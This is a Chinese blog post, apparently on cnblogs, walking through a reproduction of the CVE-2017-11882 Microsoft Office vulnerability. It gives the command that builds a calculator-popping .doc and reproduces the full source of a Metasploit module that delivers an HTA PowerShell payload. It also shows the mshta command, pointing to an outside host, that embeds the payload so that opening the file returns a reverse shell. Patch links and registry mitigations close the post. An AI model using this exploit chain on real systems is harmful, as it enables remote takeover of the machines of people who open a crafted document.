昨晚看到的有复现的文章，一直到今天才去自己复现了一遍，还是例行记录一下。
POC:
一、简单的生成弹计算器的doc文件。
网上看到的改进过的POC，我们直接拿来用，命令如下：
#python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc
生成的doc文件直接打开就可以弹出计算器。
影响的脚本：
Office
Microsoft Office
Microsoft Office
Microsoft Office Service Pack
Microsoft Office Service Pack
Microsoft Office Service Pack
Microsoft Office
二、生成可以反弹shell的doc文件
这里我们用到MSF， 添加EXP脚本，进入/usr/share/metasploit-framework/modules/exploits/windows/，新建一个office文件夹，把以下的代码保存为ps_shell.rb。
EXP脚本
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
保存之后如下:
之后我们进入msf控制台，选择好payload并且设置好ip和生成的hta文件路径。
然后利用上面的POC将生成的hta文件放到doc文件里。
#python Command109b_CVE-2017-11882.py -c "mshta http://192.168.49.142:8080/123" -o test123.doc
将生成的test123.doc文件放到目标机里打开，成功返回shell。
修复建议：
1.下载微软对此漏洞补丁：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882，并且开启自动更新功能
2.在注册表中禁用该漏洞模块：
reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD/d 0x400
最后放几个GitHub上面的POC：
https://github.com/starnightcyber/CVE-2017-11882
https://github.com/embedi/CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
笨鸟先飞早入林，笨人勤学早成材。 转载请注明出处：
撰写人：fox-yu http://www.cnblogs.com/fox-yu/